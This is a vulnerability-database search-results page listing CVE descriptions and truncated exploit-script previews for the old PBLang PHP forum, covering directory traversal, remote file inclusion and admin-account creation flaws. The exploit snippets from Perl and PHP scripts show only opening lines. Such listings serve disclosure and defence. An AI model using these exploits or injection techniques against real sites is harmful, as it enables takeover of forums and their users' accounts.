140 matches found
CVE-2007-3096: Undefined Security Weakness
Directory traversal vulnerability in login.php in PBLang PBL 4.67.16.a and earlier, when magicquotesgpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the lang parameter...
PBLang 4.67.16.a - Remote Code Execution
PBLang 4.67.16.a - Remote Code Execution !/usr/bin/php -q -d shortopentag=on ?php errorreporting0; iniset"maxexecutiontime",0; iniset"defaultsockettimeout",5; if $argc4 print "-------------------------------------------------------------------------\r\n"; print " PBLang = 4.67.16.a Remote Code...
PBLang <= 4.67.16.a Remote Code Execution Exploit
Exploit for unknown platform in category web applications ================================================= PBLang = 4.67.16.a Remote Code Execution Exploit ================================================= !/usr/bin/php -q -d shortopentag=on ?php errorreporting0; iniset"maxexecutiontime",0;...
PBLang <= 4.67.16.a Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ?php errorreporting0; iniset"maxexecutiontime",0; iniset"defaultsockettimeout",5; if $argc4 print "-------------------------------------------------------------------------\r\n"; print " PBLang = 4.67.16.a Remote Code Executio...
PBlang <= 4.66z Remote Create Admin Exploit
Exploit for unknown platform in category web applications =========================================== PBlang new or die; $cookiejar = HTTP::Cookies-new; $xpl-cookiejar $cookiejar ; register $reg = $xpl-post$url.'register.php?reg=2', Content = "user" = $uname, "pass" = $passwd, "pass2" = $passwd,...
PBlang 4.66z - Remote Code Execution
!/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access - magicquotesgpc = Off - Only work on 4.66z Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1;...
PBlang 4.66z Remote Code Execution Exploit
Exploit for unknown platform in category web applications ========================================== PBlang 4.66z Remote Code Execution Exploit ========================================== !/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access -...
PBlang 4.66z Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access - magicquotesgpc = Off - Only work on 4.66z Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies;...
PBlang <= 4.66z Remote Create Admin Exploit
No description provided by source. !/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url...
PBlang 4.66z - Remote Code Execution
PBlang 4.66z - Remote Code Execution !/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access - magicquotesgpc = Off - Only work on 4.66z Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookie...
PBlang 4.66z - Remote Create Admin
PBlang 4.66z - Remote Create Admin !/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url...
CVE-2007-1052
PHP remote file inclusion vulnerability in index.php in PBLang PBL 4.60 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the dbpath parameter, a different vector than CVE-2006-5062. NOTE: this issue has been disputed by a reliable third party for 4.65, stating that t...
Remote file inclusion
PHP remote file inclusion vulnerability in index.php in PBLang PBL 4.60 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the dbpath parameter, a different vector than CVE-2006-5062. NOTE: this issue has been disputed by a reliable third party for 4.65, stating that t...
CVE-2007-1052
CVE-2007-1052 affects PBLang (PBL) up to version 4.60 (and earlier); a PHP remote file inclusion vulnerability exists in index.php via the dbpath parameter that can allow remote code execution. The description notes this is a different vector than CVE-2006-5062 and includes a dispute context for ...
CVE-2007-1052
PHP remote file inclusion vulnerability in index.php in PBLang PBL 4.60 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the dbpath parameter, a different vector than CVE-2006-5062. NOTE: this issue has been disputed by a reliable third party for 4.65, stating that t...
CVE-2007-1052: Undefined Security Weakness
PHP remote file inclusion vulnerability in index.php in PBLang PBL 4.60 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the dbpath parameter, a different vector than CVE-2006-5062. NOTE: this issue has been disputed by a reliable third party for 4.65, stating that t...
PT-2007-2480 · Pbl · Pblang
Name of the Vulnerable Software and Affected Versions: PBLang PBL versions 4.60 and earlier Description: A remote file inclusion issue allows remote attackers to execute arbitrary PHP code via a URL in the dbpath parameter. This is a different attack vector. Recommendations: For PBLang PBL versio...
PBLang 4.60 <= (index.php) Remote File Include Vulnerability
+++++++++++++++++++++++++++++++++++++++++++++++++++++++ PBLang 4.60 = index.php Remote File Include Vulnerability Script: PBLang Version: 4.60 URL: http://downloads.sourceforge.net/pblang/PBL465nographics.zip?modtime=1098268125&bigmirror=0 Found By: BorN To K!LL...
CVE-2006-5062
PHP remote file inclusion vulnerability in templates/pb/language/langnl.php in PBLang PBL 4.66z and earlier allows remote attackers to execute arbitrary PHP code via a URL in the temppath parameter...
CVE-2006-5062
CVE-2006-5062 affects PBLang (PBL) with a PHP remote file inclusion vulnerability in templates/pb/language/lang_nl.php via the temppath parameter. Affected are PBLang versions 4.66z and earlier. Exploitation allows remote code execution by supplying a malicious URL. The underlying issue is a PHP ...